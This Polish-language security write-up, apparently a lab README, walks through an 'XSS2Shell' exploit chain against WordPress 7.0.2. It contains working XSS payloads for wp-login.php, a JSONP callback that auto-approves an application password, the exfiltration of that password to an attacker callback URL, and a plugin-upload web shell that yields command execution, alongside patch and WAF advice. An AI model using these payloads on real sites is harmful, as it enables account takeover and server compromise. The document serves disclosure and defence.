Wyłącznie autoryzowane testy.
Wszystko poniżej zostało uruchomione na lokalnym laboratorium (WordPress 7.0.2 na localhos). Nie używaj tych technik przeciwko systemom, których nie posiadasz lub na których testowanie nie masz wyraźnego pozwolenia.
Podsumowanie dla kadry kierowniczej
XSS2Shell to nie pojedynczy błąd — to siedmiostopniowy łańcuch exploitów, który zaczyna się od jednego znaku (< po którym następuje spacja) omijającego dwa różne parsery HTML na stronie logowania WordPressa i kończy się wykonaniem PHP na serwerze jako www-data.
Co czyni go niebezpiecznym:
- Etap 1 nie wymaga żadnego uwierzytelnienia — każdy może wywołać JavaScript na
wp-login.php. - Błąd tkwi w rdzeniu WordPressa — nie we wtyczce; praktycznie każda obsługiwana instalacja od 2016 roku jest podatna.
- Wykorzystuje własny kod WordPressa —
user-profile.js, REST JSONP, Hasła Aplikacji, przesyłanie wtyczek — jako gadżety. - Pełne RCE zostało zademonstrowane i potwierdzone przez WordPress — choć wymaga nakłonienia zalogowanego administratora do jednego kliknięcia.
W artykule opisano każdy etap wraz ze zrzutami ekranu z naszego lokalnego laboratorium.
Środowisko laboratoryjne
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Każda witryna WordPress udostępnia /wp-login.php. Ta strona jest punktem wejścia dla całego łańcucha.
Etap 0: Różnica parsera (przyczyna źródłowa)
Gdy logowanie się nie powiedzie, WordPress wyświetla przesłaną nazwę użytkownika w komunikacie błędu. Nazwa użytkownika przechodzi przez dwa sanitizery, które różnie definiują pojęcie „tagu":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Payload używa spacji po<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XNa podatnym WordPress 7.0.2 przeżywa sanitację i staje się aktywnym elementem DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
Na załatanym WordPress 7.0.4 ten sam ładunek jest kodowany jako HTML w komunikacie błędu — brak aktywnych elementów.
Ten błąd istnieje od WordPress 4.7 (2016) i był pomijany przez lata audytów bezpieczeństwa.
Etap 1: XSS przed uwierzytelnieniem (bez wymaganego logowania)
Wstrzyknięte węzły DOM pasują do selektorów, których własny skrypt WordPress user-profile.js szuka na stronie logowania (ładowany podczas procedury resetowania hasła):
.reset-pass-submit .wp-generate-pwjest automatycznie klikany podczas ładowania strony- Kliknięcie propaguje się do delegowanego obsługiwacza
#color-picker - Sprawdzenie ochrony
user_id === checkuser_idprzechodzi, ponieważ oba sąundefined - jQuery wysyła POST do
ajaxurl— aleajaxurlnie istnieje na stronie logowania…
Chyba że go nadpiszemy:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Element <area id=ajaxurl> staje się window.ajaxurl. jQuery wywołuje .toString() → zwraca href. WordPress REST zwraca JSONP → jQuery globalEval() → alert()wykonuje się w kontekście origin WordPressa.

Wyślij formularz (lub otwórz demo/stage1-preauth-xss.html i kliknij Uruchom etap 1):

Sam ten etap stanowi poważne zagrożenie: phishing danych uwierzytelniających na prawdziwej domenie, session riding, wywołania API tego samego origin — bez jakiegokolwiek uwierzytelnienia.
Etap 2: Inżynieria społeczna — kliknięcie administratora
Etapy 2–7 wymagają, aby zalogowany administrator otworzył stronę kontrolowaną przez atakującego. To jest czynnik utrzymujący CVSS poniżej 10 — jednak jest on realistyczny w przypadku ukierunkowanych ataków.
Administrator może otrzymać: „Twoja sesja wygasła — kliknij tutaj, aby się ponownie uwierzytelnić."

Po kliknięciu strona atakującego:
- Otwiera podrzędne okno popup (
about:blank) - Przekierowuje okno główne na stronę autoryzacji haseł aplikacji WordPressa
- Zapisuje formularz XSS do potomnego okna podręcznego i automatycznie przesyła go do
wp-login.php

Etap 3: Wykonanie metody tego samego źródła (SOME) — automatyczne zatwierdzenie
Ładunek XSS okna potomnego zmienia wywołanie zwrotne JSONP z alert na:
window.opener.approve.clickWordPress REST opakowuje odpowiedź:
/**/window.opener.approve.click({...})Środowisko uruchomieniowe rozwiązuje window.opener (okno nadrzędne) → .approve (przycisk #approve) → .click(). Przycisk Zatwierdź hasło aplikacji jest klikany automatycznie — bez jakiejkolwiek interakcji użytkownika na tej stronie.

Zwróć uwagę na adres URL wywołania zwrotnego na stronie: dane uwierzytelniające zostaną wysłane do http://127.0.0.1:9090/callback?...&password=[------].
Etap 4: Przechwycenie hasła aplikacji
WordPress tworzy nowe hasło aplikacji i przekierowuje do success_url atakującego z poświadczeniami w ciągu zapytania:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXAtakujący posiada teraz dane uwierzytelniające HTTP Basic auth do WordPress REST API — uzyskane z sesji administratora, bez konieczności wpisywania czegokolwiek przez administratora po kliknięciu w początkowy link.
Etap 5: Publikacja strony kontrolowanej przez atakującego
Używając skradzionego hasła aplikacji, atakujący wysyła żądanie POST do /wp-json/wp/v2/pages i publikuje stronę z osadzonym kodem JavaScript. Administratorzy posiadają uprawnienie unfiltered_html — tagi script nie są usuwane.
Etap 6: Przesłanie wtyczki przez sesję administratora
Kod JavaScript atakującego (uruchomiony w przeglądarce administratora na opublikowanej stronie):
- Pobiera
/wp-admin/plugin-install.php?tab=uploadw celu uzyskania nonce przesyłania - Wysyła żądanie POST ze złośliwym plikiem ZIP do
/wp-admin/update.php?action=upload-plugin - WordPress rozpakowuje go do
wp-content/plugins/xss2shell/
Wtyczka nie musi być aktywowana. Pliki PHP w katalogu wtyczki są bezpośrednio dostępne przez przeglądarkę.
Etap 7: Zdalne wykonanie kodu
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiOdpowiedź:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Atakujący może teraz wykonywać dowolne polecenia jako użytkownik serwera WWW — odczytać wp-config.php (dane uwierzytelniające do bazy danych), zrzucić bazę danych, przeprowadzić ruch lateralny.
Pełne wyjście terminala PoC:

Pełny łańcuch w skrócie
sequenceDiagram participant A as Serwer atakującego participant V as Przeglądarka ofiary participant W as WordPress 7.0.2 Note over V,W: Administrator jest zalogowany V->>A: Otwiera link phishingowy (1 kliknięcie) A->>V: HTML atakującego + podrzędny popup V->>W: Okno główne → authorize-application.php V->>W: Podrzędne wysyła payload XSS do wp-login.php W->>V: JSONP wykonuje window.opener.approve.click Note over V,W: Przycisk Zatwierdź kliknięty automatycznie W->>A: Przekierowanie z hasłem aplikacji A->>W: REST API publikuje stronę (Basic auth) V->>W: Administrator odwiedza stronę → przesyła ZIP wtyczki V->>W: GET shell.php?cmd=whoami W-->>A: www-dataJak naprawdę niebezpieczny jest ten atak?
Co jest pewne (wysoka pewność)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Co wymaga dodatkowych warunków (ścieżka RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Kalibracja powagi
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Podsumowanie: To nie jest podatność klasy wormable zero-click RCE jak Log4Shell. Jest to głęboko techniczna, podatność na poziomie rdzenia systemu, dotykająca ~43% stron internetowych, w której:
- Sam etap 1 stanowi poważny, pre-auth XSS na stronie logowania
- Cały łańcuch zamienia jedno kliknięcie administratora w przejęcie serwera
- Przyczyna źródłowa (różnica w parsowaniu) dotyczy każdej bazy kodu używającej wielu parserów HTML
Własny komunikat bezpieczeństwa WordPressa stwierdza, że RCE wymaga „warunków pozostających poza kontrolą atakującego" oraz „skutecznej inżynierii społecznej." To jest prawda — jednak przedstawiony łańcuch sprawia, że te warunki są osiągalne za pomocą jednego linku.
Odtwórz pełny łańcuch lokalnie
# 1. Uruchom laboratorium make up # 2. Włącz hasła aplikacji przez HTTP (tylko lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Uruchom listener PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. W przeglądarce: # a. Zaloguj się jako admin na http://localhost:9080/wp-login.php # b. Otwórz http://127.0.0.1:9091/phishing-sim.html # c. Kliknij „Otwórz stronę atakującego" (zezwól na popupy) # d. Poczekaj na wynik w terminalu pokazujący shell + whoamiObrona
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Poprawka dodaje esc_html() do nazwy użytkownika w ścieżce błędu logowania — zapewniając, że ciąg jest traktowany jako tekst, a nie ponownie parsowany jako HTML.
Dlaczego ma to znaczenie dla badań bezpieczeństwa
Każde ogniwo łańcucha jest osobno nudne:
- Różnica parsera → niska powaga, porządkowanie
- Załadowanie niewłaściwego skryptu na stronie logowania → niska
- Wywołanie zwrotne JSONP zweryfikowane przez wyrażenie regularne → średnia
- Hasło aplikacji w adresie URL przekierowania → średnia
- Katalog wtyczek wykonuje PHP bez aktywacji → znany projekt
Złożone razem, dają CVSS 8.9 i powłokę.
Wniosek: oceniając podatności XSS, zapytaj „co jest już załadowane na tej stronie i co zrobi, gdy podam mu właściwe węzły DOM?" Dotkliwość jest właściwością łańcucha, a nie pojedynczego błędu.

